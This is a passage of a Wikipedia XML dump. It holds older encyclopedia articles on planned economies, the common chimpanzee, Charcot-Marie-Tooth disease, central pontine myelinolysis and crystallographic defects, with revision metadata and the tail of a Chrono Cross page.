&lt;/center&gt;

==See also==
* [[Chrono Cross Timeline]]
* [[List of Chrono Cross characters]]

==External links==
{{wikibooks}}
* [http://www.square-enix-usa.com/games/CC/ Official US Site]
* {{dmoz|Games/Video_Games/Roleplaying/C/Chrono_Series/Chrono_Cross/|''Chrono Cross''}}
* [http://www.chronocompendium.com/Term/Chronology Timelines at the Chrono Compendium Encyclopedia]
* {{musicbrainz album 3|name=Chrono Cross Original Soundtrack|id1=b25cf44d-4195-4f7c-bec6-bb7cc6fb6fb9|id2=9ae16ba9-3d1f-4bb3-9436-6450efd1f3c6|id3=ad3e94f0-975b-4da7-af8f-4194c92e66d0}}

{{-}}{{Chrono Cross}}

[[Category:1999 computer and video games]]
[[Category:2000 computer and video games]]
[[Category:Chrono games]]
[[Category:PlayStation games]]

[[es:Chrono Cross]]
[[fr:Chrono Cross]]
[[ja:クロノ・クロス]]
[[pt:Chrono Cross]]</text>
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    <title>Curl Contents Language</title>
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      <id>15905889</id>
      <timestamp>2002-11-11T08:52:53Z</timestamp>
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        <ip>213.253.40.212</ip>
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  <page>
    <title>Planned economy</title>
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      <comment>Reverted edits by [[Special:Contributions/207.63.27.36|207.63.27.36]] ([[User talk:207.63.27.36|talk]]) to last version by Christiaan</comment>
      <text xml:space="preserve">A '''planned economy''' is an [[economic system]] in which decisions about the production, allocation and consumption of goods and services is planned ahead of time, in either a centralized or decentralized fashion. Since most known planned economies rely on plans implemented by the way of command, they have become widely known as '''command economies'''. Any economic system that is centrally-planned by a government is commonly referred to as economic [[statism]]. To stress the usual centralized character of planned economies and to contrast the term with decentralized planning such as in a [[participatory economy]], the more specific term, '''centrally planned economy''', is often used. This article primarily deals with centrally planned economies.

== Support for centrally planned economies ==

Supporters of planned economies cast them as a practical measure to ensure the production of necessary goods&amp;#8212;one which does not rely on the vagaries of [[free market|free markets]].

*The government can harness land, labor, and capital to serve the economic objectives of the state (which, in turn, may be decided by the people through a [[democracy|democratic]] process). Consumer demand can be restrained in favor of greater capital investment for economic development in a desired pattern. The state can begin building a heavy industry at once in an underdeveloped economy without waiting years for capital to accumulate through the expansion of light industry, and without reliance on external financing. 
*A planned economy can maximize the continuous utilization of all available resources.  This means that planned economies do not suffer from a [[business cycle]]. Under a planned economy, neither unemployment nor idle production facilities should exist beyond minimal levels, and the economy should develop in a stable manner, unimpeded by inflation or recession. 
*A planned economy can serve social rather than individual ends: under such a system, rewards, whether wages or perquisites, are to be distributed according to the social value of the service performed. A planned economy eliminates the dependence of production on individual profit motives, which may not in themselves provide for all society's needs.

Taken as a whole, a centrally planned economy would attempt to substitute a number of firms with a single firm for an entire economy.  As such, the stability of a planned economy has implications with the [[Theory of the firm]].  After all, most corporations are essentially 'centrally planned economies', aside from some token intra-corporate pricing (not to mention that the politics in some corporations resemble that of the Soviet Politburo).  That is, corporations are essentially miniature centrally planned economies and seem to do just fine in a free market.  As pointed out by Kenneth Arrow and others, the existence of firms in free markets shows that there is a need for firms in free markets; opponents of planned economies would simply argue that there is no need for a sole firm for the entire economy.

==Objections to centrally planned economies ==
Critics of command economy argue that planners cannot detect demand with sufficient accuracy (in a market economy, price signals serve this purpose). For example, during certain periods in the history of the [[Soviet Union]], shortages were so common that one could wait hours in a queue to buy basic consumer products such as shoes or bread. These shortages were due in part to  the central planners deciding, for example, that making tractors was more important than making shoes at that time, or because the commands were not given to supply the shoe factory with the right amount of leather, or because the central planners had not given the shoe factories the incentive to produce the required quantity of shoes of the required quality.  This difficulty was first noted by economist [[Ludwig von Mises]], who called it the &quot;[[economic calculation problem]]&quot;. Economist [[János Kornai]] developed this into a [[shortage economy]] theory.

Critics also argue that the claimed advantages of the latter are in fact achievable by state intervention within the framework of market economy as well. In particular, it is possible to create unprofitable but socially useful goods within the context of a market economy.  For example, one could produce a new drug by having the government collect taxes and then spend the money for the social good. It is also claimed that market economies allow societies to evaluate the cost of social goods and choose rationally between different alternatives.

Critics also point out that certain types of command economies may require a state which intervenes highly in people's personal lives. For example, if the state directs all employment then one's career options may be more limited. If goods are allocated by the state rather than by a market economy, citizens cannot, for example, move to another location without state permission because they would not be able to acquire food or housing in the new location, since those were not preplanned for (however, advocates of planned economy may point out that a market economy does not guarantee the existence of food and housing at the new location either).

==Planned economies and socialism ==
''Main article: [[Socialist economics]]''

In the 20th century, most planned economies were implemented by states that called themselves [[socialism|socialist]]. Also, the greatest support for planned economics comes from socialist authors. For these reasons, the notion of a planned economy is often directly associated with socialism. However, they do not entirely overlap. There are branches of socialism such as [[libertarian socialism]], that reject a centralized state, and some of these tendencies reject economic planning as well.

Furthermore, planned economies are not unique to socialist states. Socialism is concerned above all with achieving some degree of equality of wealth between members of society, but a planned economy, as such, does not necessarily imply an egalitarian distribution of wealth. Some authors have argued that elements of centralized economic planning exist in various modern non-socialist systems, such as the [[mixed economy|mixed economies]] of [[liberal democracy|liberal democracies]] (widely seen as being capitalist countries) and the economies of [[fascism|fascist]] nations. Pre-modern economies (those existing before the [[industrial revolution]]) are more difficult to analyze by today's standards, but a number of them, particularly those of [[hydraulic empire]]s, may be seen as having been centrally planned as well.

There is a [[Trotskyism|Trotskyist]] theory of the [[permanent arms economy]], put forward by [[Michael Kidron]], which leads on from the contention that war and accompanying [[industrialisation]] is a continuing feature of capitalist states and that central planning and other features of the [[war economy]] are ever present. {{ref|Kidron}}

==Transition from a planned economy to a market economy ==

The shift from a command economy to a market economy has proven to be difficult; in particular, there were no theoretical guides for doing so before the 1990s.  One transition from a command economy to a market economy that is widely considered to be successful is that of the [[People's Republic of China]], in which there was a period of some years lasting roughly until the early 1990s during which both the command economy and the market economy coexisted, so that nobody would be much worse off under a mixed economy than a command economy, while some people would be much better off.  Gradually, the parts of the economy under the command economy decreased until the mid-1990s when resource allocation was almost completely determined by market mechanisms.

By contrast, the [[Soviet Union]]'s transition was much more problematic and its [[successor republic]]s faced a sharp decline in [[Gross domestic product|GDP]] during the early 1990s. While the situation has since improved, these countries have yet to generate the high rate of sustained economic growth that China has.

==Similar economic models==

A [[palace economy]] may be considered as a [[subsistence economy]] augmented with elements of command economy.

==See also==
* [[Economy of the Soviet Union]]
* [[Socialist economics]]
* [[Participatory economics]]
* [[Project Cybersyn]]
* [[Public ownership]]
* [[Mixed economy]]
* [[Dirigisme]]

==References==
{{note|Kidron}} [http://www.anu.edu.au/polsci/marx/contemp/pamsetc/perm/perm.htm A Permanent Arms Economy by Michael Kidron,  First printed in International Socialism 1:28 (Spring 1967)]

:[http://www.worldsocialism.org/spgb/aug03/kidron2.html An article against the &quot;The myth of the permanent arms economy&quot;]


[[Category:Economies]]

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    <title>Common Chimpanzee</title>
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      <text xml:space="preserve">{{Taxobox | color = pink
| name = Common Chimpanzee
| status = {{StatusEndangered}}
| image = Chimp &amp; baby.jpg
| image_width = 250px
| regnum = [[Animal]]ia
| phylum = [[Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Primate]]s
| familia = [[Hominidae]]
| genus = ''[[Chimpanzee|Pan]]''
| species = '''''P. troglodytes'''''
| binomial  = ''Pan troglodytes''
| binomial_authority = ([[Johann Friedrich Blumenbach|Blumenbach]], [[1775]])
}}

The '''Common Chimpanzee''' (''Pan troglodytes''), also known as the '''Robust Chimpanzee''', is a [[Hominidae|great ape]]. Colloquially, it is often called the [[chimpanzee]] (or simply &quot;chimp&quot;), though technically this term refers to both [[species]] in the [[genus]] ''[[Chimpanzee|Pan]]'': the Common Chimpanzee and the closely-related [[Bonobo]], or Pygmy Chimpanzee.

Several subspecies of the Common Chimpanzee are been recognized:

* [[Central Chimpanzee]], ''Pan troglodytes troglodytes'', in [[Cameroon]], the [[Central African Republic]], [[Equatorial Guinea]], [[Gabon]], the [[Republic of the Congo]], and the [[Democratic Republic of the Congo]];
* [[West African Chimpanzee]], ''Pan troglodytes verus'', in [[Guinea]], [[Mali]], [[Sierra Leone]], [[Liberia]], [[Côte d'Ivoire]], [[Ghana]], and [[Nigeria]];
* West Nigeria/East Cameroon or simply [[Nigerian Chimpanzee]], ''Pan troglodytes vellerosus'', in [[Nigeria]] and [[Cameroon]];
* [[Eastern Chimpanzee]], ''Pan troglodytes schweinfurthii'', in the [[Central African Republic]], the [[Sudan]], the [[Democratic Republic of the Congo]], [[Uganda]], [[Rwanda]], [[Burundi]], [[Tanzania]], and [[Zambia]].

==Basic facts==
Common Chimpanzees are found in the [[Tropical and subtropical moist broadleaf forests|tropical forests]] and wet [[Tropical_and_subtropical grasslands, savannas, and shrublands|savannas]] of Western and Central [[Africa]]. They used to inhabit most of this region, but their [[habitat (ecology)|habitat]] has been dramatically reduced in recent years.

Adults in the wild weigh between 40 and 65 kg (88 and 143 lbs); males can measure up to 160 cm (63 inches) and females to 130 cm (51 inches), and both are much stronger than humans. Their bodies are covered by a coarse dark brown hair, except for the face, fingers, toes, palms of the hands and soles of the feet. Both their thumbs and their big toes are opposable, allowing a precision grip. Their [[pregnancy|gestation]] period is 8 months. Infants are weaned when they are about 3 years old, but usually maintain a close relationship with their mother for several more years; they reach [[puberty]] at the age of 8-10, and their lifespan in captivity is about 50 years.

Although omnivores, their diet is mainly vegetarian, consisting of [[fruits]], [[leaves]], [[Nut (fruit) | nuts]], [[seeds]], [[tuber]]s, and miscellaneous plantlife supplemented by [[insect]]s and small prey. There are also instances of organized hunting; in some cases, such as the killing of [[leopard]] cubs, this seems to be primarily a protective effort. However, Common Chimpanzees sometimes band together and hunt [[Western Red Colobus|Western Red Colobus monkeys]] (''Piliocolobus badius'') for their meat. Isolated cases of [[cannibalism]] have been documented. Chimpanzees have also been known on rare occasions to attack and eat human infants.

[[Image:Apeclade.png|thumb|right|'''The ape clade'''. Chimpanzees are the closest living relatives to humans. The numbers in this diagram provide an estimate of relatedness based on similarities in proteins between the various apes.]]

==Social behavior==
Common Chimpanzees live in communities that typically range from 20 to more than 150 members, but spend most of their time traveling in small parties of just a few individuals. They are both arboreal and terrestrial, spending equal time in the trees and on the ground. Their habitual gait is [[quadruped|quadrupedal]], using the soles of their feet and resting on their knuckles, but they can walk upright for short distances.

The Common Chimpanzee lives in a [[fission-fusion society]], where [[mating]] is promiscuous and may be found in groups of the following types: all-male, adult females and offspring, bisexual, one female and her offspring, or a single individual. The core of the societies are males who roam around, protecting members of the group as well as engaging in the search for food. Among males, there is generally a dominance hierarchy. However, this unusual fission-fusion social structure, &quot;in which portions of the parent group may on a regular basis separate from and then rejoin the rest&quot;{{ref|goodall}}, is highly variable in terms of which particular individual chimpanzees congregate at a given time. This is mainly due to chimpanzees having a high level of individual autonomy within the fission-fusion society. Also, communities have large ranges that overlap with those of other groups.   

As a result, individual chimpanzees often forage for food alone, or in smaller groups (as opposed to the much larger ''parent'' group, which encompasses all the chimpanzees who regularly come into contact and congregate into parties in a particular area). As stated, these smaller groups also emerge in a variety of types, for a variety of purposes. For example, an all-male troop may be organized in order to [[hunt]] for meat, while a bi-sexual group consisting of one mature male and one mature female may occur for the purposes of [[copulation]]. An individual may encounter certain individuals quite frequently, but have run-ins with others almost never or only in large-scale gatherings. Due to the varying frequency at which chimpanzees associate, the structure of their societies is highly complicated.

==Chimpanzee Genome Project==
{{main|Chimpanzee Genome Project}}
[[Human]] and Common Chimpanzee [[DNA]] is very similar. After the completion of the [[Human genome project]], a Common [[Chimpanzee Genome Project]] was initiated. In December of 2003, a preliminary analysis of 7600 genes shared between the two genomes confirmed that certain genes such as the forkhead-box P2 [[transcription factor]], which is involved in speech development, have undergone rapid evolution in the human lineage. A draft version of the chimpanzee genome was published on [[September 1]], [[2005]], in an article produced by the [[Chimpanzee Sequencing and Analysis Consortium]]{{ref|genome}}. The DNA sequence differences between humans and chimpanzees is about thirty-five million [[Point mutation|single-nucleotide]] changes, five million [[Mutation#Structural classification|insertion/deletion]] events, and various [[chromosome|chromosomal]] [[Chromosomal translocation|rearrangements]]. Typical human and chimp [[homolog]]s of [[protein]]s differ in only an average of two [[amino acid]]s. About 30 percent of all human proteins are identical in sequence to the corresponding chimp protein. Duplications of small parts of [[chromosome]]s have been the major source of differences between human and chimp genetic material, with about 2.7 percent of the genome now representing differences having been produced by gene duplications or deletions during approximately 6 million years since humans and chimps diverged from their common evolutionary ancestor. Results from the human and chimp genome analyses should help in understanding the genetic basis of some human diseases.

==See also==
* [[Jane Goodall]]
* [[List of apes]] - notable individual apes
* [[Washoe (chimpanzee)|Washoe]], [[Nim Chimpsky]]

==References==
# {{note|genome}} {{cite journal | url=http://www.genome.gov/Pages/Research/DIR/Chimp_Analysis.pdf | title=Initial sequence of the chimpanzee genome and comparison with the human genome | author=
Chimpanzee Sequencing and Analysis Consortium | journal=[[Nature (journal)|Nature]] | year=2005 | volume=437 | pages=69-87 }} (September 1) {{Entrez Pubmed|16136131}}; {{cite journal | title=A genome-wide comparison of recent chimpanzee and human segmental duplications | author=Cheng Z, Ventura M et al. | journal=[[Nature (journal)|Nature]] | year=2005 | volume=437 |pages=88-93}} (September 1) {{Entrez Pubmed|16136132}} 
# {{note|goodall}} Goodall, Jane. (1986) ''The Chimpanzees of Gombe: Patterns of Behavior''.
* [[Johann Friedrich Blumenbach]], ''De Generis Humani Varietate Nativa'', 1775.

==External links==
{{commons|Common Chimpanzee}}
{{Wikispecies|Pan troglodytes|Common Chimpanzee}}
*[http://www.janegoodall.org/chimp_central/default.asp Jane Goodall web site]
*[http://www.discoverchimpanzees.org DiscoverChimpanzees.org]
*[http://www.ncbi.nlm.nih.gov/projects/genome/guide/chimp/ Chimpanzee Genome resources]
* [http://pin.primate.wisc.edu/factsheets/entry/chimpanzee Primate Info Net ''Pan troglodytes'' Factsheets]


[[Category:Apes]]
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[[da:Chimpanse]]
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  <page>
    <title>Charcot-Marie-Tooth disease</title>
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        <username>KEEPSAKES</username>
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      <comment>/* Symptoms */</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Charcot-Marie-Tooth disease |
  ICD10       = G60.0 |
  ICD9        = {{ICD9|356.1}} |
}}
[[Image:Charcot-marie-tooth---foot.jpg|thumb|250px|The foot of a person with Charcot-Marie-Tooth. The lack of muscle, high arch, and hammer toes are signs of the genetic disease.]]
'''Charcot-Marie-Tooth disease''', also known as Hereditary Motor and Sensory Neuropathy (HMSN) or Peroneal Muscular Atrophy, is a heterogeneous inherited disorder of [[nerve]]s ([[neuropathy]]) that is characterized by loss of muscle tissue and touch sensation, predominantly in the feet and legs but also in the hands and arms in the advanced stages of disease. Though presently incurable, this disease is one of the most common inherited neurological disorders, with 36 in 100,000 affected (Krajewski et al.,2000).

The disorder is caused by the absence of molecules that are essential for normal function of the nerves due to deficiencies in the structure of the genes coding these molecules. The absence of these chemical substances gives rise to dysfunction either in the [[axon]] or the [[myelin]] sheath of the nerve cell. 

The different classes of this disorder have been divided into the primary demyelinating neuropathies (CMT1, CMT3, and CMT4) and the primary axonal neuropathies (CMT2).  Recent studies, however, show that the the pathologies of these two classes are frequently intermingled, due to the dependence and close cellular interaction of Schwann cells and neurons.  Schwann cells are responsible for myelin formation, enwrapping neural axons with their plama membranes in a process called “myelination” (Berger et al., 2002).

The molecular structure of the nerve depends upon the interactions between neurons, Schwann cells, and fibroblasts.  Schwann cells and neurons, in particular, exchange signals that regulate survival and differentiation during development.  These signals are important to CMT disease because a disturbed communication between Schwann cells and neurons, resulting from a genetic defect, is observed in this disorder (Berger et al., 2002).

It is clear that interaction with demyelinating Schwann cells causes the expression of abnormal axonal structure and function, but we still do not know how these abnormalities result in CMT.  One possibility is that the weakness and sensory loss experienced by patients with CMT is a result of axonal degradation.  Another possibility is that axonal dysfunction occurs, not degeneration, and that this dysfunction is induced by demyelinating Schwann cells (Krajewski et al., 2000).   

Most patients experience demyelinating neuropathies, and this is characterized by a reduction in nerve conduction velocity (NCV), due to a partial or complete loss of the myosin sheet.  Axonopathies, on the other hand, are characterized by a reduced compound muscle action potential (CMAP), while NCV is normal or only slightly reduced (Berger et al.,2002).

The disease is named for those who classically described it: [[Jean-Martin Charcot]] (1825-1893) and his pupil [[Pierre Marie]] (1853-1940)  (''&quot;Sur une forme particulière d'atrophie musculaire progressive, souvent familiale débutant par les pieds et les jambes et atteignant plus tard les mains&quot;'', Revue médicale, Paris, 1886; 6: 97-138.), and [[Howard Henry Tooth]] (1856-1925) (&quot;The peroneal type of progressive muscular atrophy&quot;, dissertation, London, 1886.)

==Symptoms==
Symptoms usually begin in late-childhood or early adulthood. Usually, the initial symptom is foot drop due to involvement of the peroneal nerve, which is responsible for raising the feet, early in the course of the disease. This can also cause hammer toe, where the toes are always curled. Wasting of muscle tissue of the lower parts of the legs may give rise to &quot;stork leg&quot; appearance. Weakness in the Hands and forearms are greatly affected in many people later in life as the disease progresses. Symptoms and progression of the disease can vary. Breathing can be affected in some ,so can hearing, vision, the neck and shoulder muscles; scoliosis is common; hip sockets can be malformed; gastrointestinal problems can be part of CMT, as can chewing, swallowing, speaking (as vocal cords atrophy); and a tremor can develop as muscles waste. Pregnancy has been known to exacerbate CMT as well as extreme emotional stress.

==Diagnosis==
The diagnosis is established by [[electromyography]] examination (which shows that the velocity of nerve impulse conduction is decreased and the time required to charge the nerve is increased) and nerve [[biopsy]].  [[Genetic marker]]s have been identified for some, but not all forms of the disease.

==Types of the disease==
===CMT Type 1 (CMT1)===
Type 1 affects approximately 80% of CMT patients and is the most common type of CMT.  The subtypes share clinical symptoms.  [[Autosomal dominant]].  Causes demyelination, which can be detected by measuring nerve conduction velocities.
*'''CMT type 1A''' - '''CMT1A''' ({{OMIM|118220}}) - The most common form of the disease, caused by mutations in the PMP22 gene ([[locus]] 17p11.2).  70-80% of Type 1 patients.  Average [[Nerve conduction velocity|NCV]]: 15-20[[Metre per second|m/s]]
*'''CMT type 1B''' - '''CMT1B''' ([http://www.ncbi.nlm.nih.gov/entrez/dispomim.cgi?id=118200 OMIM 118200]) - Caused by mutations in the MPZ gene (1q22) producing protein zero (P0). 5-10% of Type 1 patients. Average [[Nerve conduction velocity|NCV]]: &lt;20[[Metre per second|m/s]]
*'''CMT type 1C''' - '''CMT1C''' - Sometimes called '''Dejerine-Sottas disease''' - Causes severe [[myelin|demyelination]], which can be detected by measuring nerve conduction velocities.  [[Autosomal dominant]].  Usually shows up in infancy.  LITAF Gene (16p13.1-p12.3) Average [[Nerve conduction velocity|NCV]]: 26-42[[Metre per second|m/s]].  Identical symptoms to CMT-1A.
*'''CMT type 1D''' - '''CMD1D''' - EGR2 Gene (10q21.1-q22.1) - Average [[NCV]]: 15-20[[m/s]]

===CMT Type 2 (CMT2)===
Type 2 affects approximately 20-40% of CMT patients.  Type 2 CMT is [[Autosomal dominant]] neuropathy  with its main affect on the axon.  The average [[nerve conduction velocity]] is slightly below normal, but generally above 38[[Metre per second|m/s]]
*'''CMT type 2A''' - '''CMT2A''' ([http://www.ncbi.nlm.nih.gov/entrez/dispomim.cgi?id=118210 OMIM 118210]) - The cause is likely located on chromosome 1 for the mitofusion 2 (MFN2) protein ([[locus]] 1p36).   Some research has also linked this form of CMT to the protein kinesin 1B (KIF1B) (1p36.2). Does not show up on nerve condution velocity tests, because it is caused by [[axonopathy]].
*'''CMT type 2B''' - '''CMT2B''' ([http://www.ncbi.nlm.nih.gov/entrez/dispomim.cgi?id=600882 OMIM 600882]) - RAB7 gene (3q21).
*'''CMT type 2C''' - '''CMT2C''' - (12q23-q24) - May cause vocal cord, diaphragm, and distal weaknesses.
*'''CMT type 2D''' - '''CMT2D''' ([http://www.ncbi.nlm.nih.gov/entrez/dispomim.cgi?id=601472 OMIM 601472]) - GARS gene (7p15). Patients with mutations in the GARS gene tend to have more severe symptoms in the upper extremities (hands), which is atypical for CMT in general.
*'''CMT type 2E''' - '''CMT2E''' - NEFL gene (8p21).
*'''CMT type 2F''' - '''CMT2F''' ([http://www.ncbi.nlm.nih.gov/entrez/dispomim.cgi?id=606595 OMIM 606595]) - HSPB1 gene (7q11-q21).
*'''CMT type 2G''' - '''CMT2G''' - (12q12-13)
*'''CMT type 2H''' - '''CMT2H''' ([http://www.ncbi.nlm.nih.gov/entrez/dispomim.cgi?id=607731 OMIM 607731])
*'''CMT type 2J''' - '''CMT2J''' ([http://www.ncbi.nlm.nih.gov/entrez/dispomim.cgi?id=607736 OMIM 607736]) - (1q22)
*'''CMT type 2K''' - '''CMT2K''' ([http://www.ncbi.nlm.nih.gov/entrez/dispomim.cgi?id=607831 OMIM 607831]) - (8q13-q21.1)
*'''CMT type 2L''' - '''CMT2L''' ([http://www.ncbi.nlm.nih.gov/entrez/dispomim.cgi?id=608673 OMIM 608673]) - (12q24)

===CMT Type 3 (CMT3)===
Type 3 affects a very few CMT patients.
*'''CMT type 3''' - '''CMT3''' - Rarely found. [[Autosomal recessive]]. Average [[Nerve conduction velocity|NCV]]: Normal (50-60m/s)
===CMT Type 4 (CMT4)===
Type 4 affects a very few CMT patients.
*'''CMT type 4A''' - '''CMT4A''' ([http://www.ncbi.nlm.nih.gov/entrez/dispomim.cgi?id=214400 OMIM 214400]) - GDAP1 Gene ([[locus]] 8q13-q21.1) - [[Autosomal recessive]].
*'''CMT type 4B1''' - '''CMT4B1''' ([http://www.ncbi.nlm.nih.gov/entrez/dispomim.cgi?id=601382 OMIM 601382]) - MTMR2 Gene (11q22) - [[Autosomal recessive]].
*'''CMT type 4B2''' - '''CMT4B2''' - CMT4B2 Gene, may be called &quot;SBF2/MTMR13&quot; (11p15) - [[Autosomal recessive]].
*'''CMT type 4C''' - '''CMT4C''' - KIAA1985 Gene (5q32) - May lead to respiratory compromise.
*'''CMT type 4D''' - '''CMT4D''' - NDRG1 Gene (8q24.3)
*'''CMT type 4E''' - '''CMT4E''' - EGR2 (10q21.1-10q22.1) - &quot;CMT4E&quot; is a tentative name
*'''CMT type 4F''' - '''CMT4F''' - PRX (19q13.1-19q13.2) - &quot;CMT4F&quot; is a tentative name

===CMT X-Linked (CMTX)===
CMTX affects approximately 10-20% of CMT patients and is [[Dominant gene|X-linked dominant]].
*'''CMTX''' ([http://www.ncbi.nlm.nih.gov/entrez/dispomim.cgi?id=302800 OMIM 302800]) - GJB1 Gene ([[locus]] Xq13.1) - Average [[Nerve conduction velocity|NCV]]: 25-40[[Metre per second|m/s]]
*Other X-linked forms - Approx 10% of X-linked CMT patients have some other form than CMTX.

==Genetic testing==
Genetic testing is available for many of the different types of Charcot-Marie-Tooth.  For a listing of test availabilities, see [http://www.genetests.org GeneTests.org]

==External links==
*[http://www.charcot-marie-tooth.org Charcot Marie Tooth Association]
*[http://www.hnf-cure.org/ Hereditary Neuropathy Foundation (formerly CMT World)]
*[http://health.groups.yahoo.com/group/CMT-Support/ Yahoo CMT Support and information group]
*[http://www.genetests.org GeneTests.org]

==References==
Berger, P., Young, P. and U. Suter (2002) Neurogenetics 4:1-15. http://www.springerlink.com/, accessed 060220

Krajewski, K.M., Lewis, R.A., Fuerst, D.R., Turansky, C., Hinderer, S.R., Gerbern, J., Kamholz, J. and M.E. Shy (2000) Brain 123:1516-1527
*http://brain.oxfordjournals.org/cgi/content/full/123/7/1516#SEC4, accessed 060220

[[Category:Eponymous diseases]]
[[Category:Neurological disorders]]
[[Category:Genetic disorders]]

[[fr:Maladie de Charcot-Marie-Tooth]]
[[nl:Hereditaire Motorische en Sensorische Neuropathieën]]</text>
    </revision>
  </page>
  <page>
    <title>Central pontine myelinolysis</title>
    <id>7846</id>
    <revision>
      <id>28746198</id>
      <timestamp>2005-11-19T12:00:48Z</timestamp>
      <contributor>
        <username>Stemonitis</username>
        <id>156441</id>
      </contributor>
      <comment>wiki [[MRI</comment>
      <text xml:space="preserve">'''Central pontine myelinolysis''' is a neurologic disease caused by severe damage of the [[myelin sheath]] of [[neuron|nerve cells]] in the [[brainstem]], more precisely in the area termed the ''[[pons]]''. The most common cause is the rapid correction of low blood sodium levels ([[hyponatremia]]). Some scholars postulate that the real cause might be the lack of a substance that is essential for brain activity and is lacking due to malnutrition. The fact that this condition is most frequently observed in patients with general ill health ([[alcoholism]], [[cachexia]] etc.) is in accordance with this assumption. Imaging by [[Magnetic resonance imaging|MRI]] demonstrates an area of high signal return on T2 weighted images. Frequently observed symptoms in this disorder are weakness, [[double vision]] and [[coma|loss of consciousness]].


== References ==
*Adams RA, Victor M, Mancall EL. Central pontine myelinolysis: a hitherto undescribed disease occurring in alcoholics and malnourished patients. ''Arch Neurol Psychiatry.'' 1959;81:154–72.  PMID 13616772

*Gocht A , Colmant HJ. Central pontine and extrapontine myelinolysis: a report of 58 cases. ''Clin Neuropath.'' 1987;6:262–70. PMID 3322623

*Kleinschmidt-DeMasters BK, Norenberg MD. Rapid correction of hyponatremia causes demyelination: relation to central pontine myelinolysis. ''Science.'' 1981;211(4486):1068-70. PMID 7466381

*Laureno R. Experimental pontine and extrapontine myelinolysis. ''Trans Am Neurol Assoc.'' 1980;105:354-8. PMID 7348981

*Menger H , Jorg J. Outcome of central pontine and extrapontine myelinolysis (n=44). ''J Neurol.'' 1999;246:700–5. PMID 10460448

[[Category:Neurology]]</text>
    </revision>
  </page>
  <page>
    <title>Crystallographic defect</title>
    <id>7849</id>
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      <id>38584460</id>
      <timestamp>2006-02-07T07:01:30Z</timestamp>
      <contributor>
        <username>Tawker</username>
        <id>212671</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/137.132.3.7|137.132.3.7]] ([[User talk:137.132.3.7|Talk]]) to last version by Forbsey</comment>
      <text xml:space="preserve">Crystalline solids have a very regular atomic structure: that is, the local positions of atoms with respect to each other are repeated at the atomic scale. These arrangements are called [[crystal]] structures, and their study is called [[crystallography]].  However, most crystalline materials are not perfect: the regular pattern of atomic arrangement is interrupted by '''crystal defects'''.  The various types of defects are enumerated here.

==Point defects==

* Vacancies are sites which are usually occupied by an atom but which are unoccupied.  If a neighboring atom moves to occupy the vacant site, the vacancy moves in the opposite direction to the site which used to be occupied by the moving atom.  The stability of the surrounding crystal structure guarantees that the neighboring atoms will not simply collapse around the vacancy.  In some materials, neighboring atoms actually move away from a vacancy, because they can better form bonds with atoms in the other directions.

* [[Interstitial]]s are atoms which occupy a site in the crystal structure at which there is usually not an atom. They are generally high energy configurations. Small atoms in some crystals can occupy interstices without high energy, such as [[hydrogen]] in [[palladium]].

* Impurities occur because  material are never 100% pure.  In the case of an impurity, the atom is often incorporated at a regular atomic site in the crystal structure.   This is neither a vacant site nor is the atom on an interstitial site and it is called a ''substitutional'' defect.  The atom is not supposed to be anywhere in the crystal, and is thus an impurity.  

* Anti-site defects occur in an ordered alloy.  For example, some alloys have a regular structure in which every other atom is a different species, for illustration assume that type A atoms sit on the cube corners of a cubic lattice, and type B atoms sit in center of the cubes.  If one cube has an A atom at its center, the atom is on a site usually occupied by an atom, but it is not the correct type.  This is neither a vacancy nor an interstitial, nor an impurity.

* Complexes can form between different kinds of point defects.  For example, if a vacancy encounters an impurity, the two may bind together if the impurity is too large for the lattice.  Interstitials can form 'split interstitial' or 'dumbbell' structures where two atoms effectively share an atomic site, resulting in neither atom actually occupying the site.

==Line defects==

Line defects can be described by gauge theories.

* [[Dislocation]]s are linear defects around which some of the atoms of the crystal lattice are misaligned. There are two basic types of dislocations, the EDGE dislocation and the SCREW dislocation. (&quot;MIXED&quot; dislocations combining aspects of both types are also common).

Edge dislocations are caused by the termination of a plane of atoms in the middle of a crystal.  In such a case, the adjacent planes are not straight, but instead bend around the edge of the terminating plane so that the crystal structure is perfectly ordered on either side.  The analogy with a stack of paper is apt:  if a half a piece of paper is inserted in a stack of paper, the defect in the stack is only noticeable at the edge of the half sheet.  

The screw dislocation is more difficult to visualise, but basically comprises a structure in which a helical path is traced around the linear defect (dislocation line) by the atomic planes of atoms in the crystal lattice.

The presence of dislocations results in lattice strain (distortion). The direction and magnitude of such distortion is expressed in terms of a [[Burgers vector]] (b). For an edge type, b is perpendicular to the dislocation line, whereas in the cases of the screw type it is parallel. In metallic materials, b is aligned with close-packed crytallographic directions and its magnitude is equivalent to one interatomic spacing.

Dislocations can move if the atoms from one of the surrounding planes break their bonds and rebond with the atoms at the terminating edge.

It is the presence of dislocations and their ability to readily move (and interact) under the influence of stresses induced by external loads that leads to the characteristic [[malleability]] of metallic materials.

Dislocations can be observed using [[transmission electron microscopy]], [[field ion microscopy]] and [[atom probe]] techniques.

[[Disinclination]]s are line defects corresponding to &quot;adding&quot; or &quot;subtracting&quot; an angle around a line. Basically, this means that if you track the crystal orientation around the line defect, you get a rotation.

==Planar defects==

* Grain boundaries occur where the crystallographic direction of the lattice abruptly changes.  This commonly occurs when two crystals begin growing separately  and then meet.

*Anti phase boundaries occur in ordered alloys:  in this case, the crystallographic direction remains the same, each side of the boundary has an opposite phase:  For example if the ordering is usually ABABABAB, an anti phase boundary takes the form of ABABBABA.

*Stacking faults occur in a number of crystal structures, but the common example is in close packed structures.  face centered cubic (fcc) structures differ from hexagonal close packed (hcp) structures only in stacking order:  both structures have close packed atomic planes with six fold symmetry -- the atoms form equilateral triangles.  When stacking one of these layers on top of another, the atoms are not directly on top of one another -- the first two layers are identical for hcp and fcc, and labelled AB.  If the third layer is placed so that its atoms are directly above those of the first layer, the stacking will be ABA -- this is the hcp structure, and it continues ABABABAB.  However there is another location for the third layer, such that its atoms are not above the first layer.  Instead, the fourth layer is placed so that its atoms are directly above the first layer.  This produces the stacking ABCABCABC, and is actually a cubic arrangement of the atoms.  A stacking fault is a one or two layer interruption in the stacking sequence, for example if the sequence ABCABABCAB were found in an fcc structure.

==Bulk defects==

* Voids are small regions where there are no atoms, and can be thought of as clusters of vacancies.

* Impurities can cluster together to form small regions of a different phase. These are often called precipitates.

== See also ==
*[[Crystallographic defects in diamond]]

==Books==

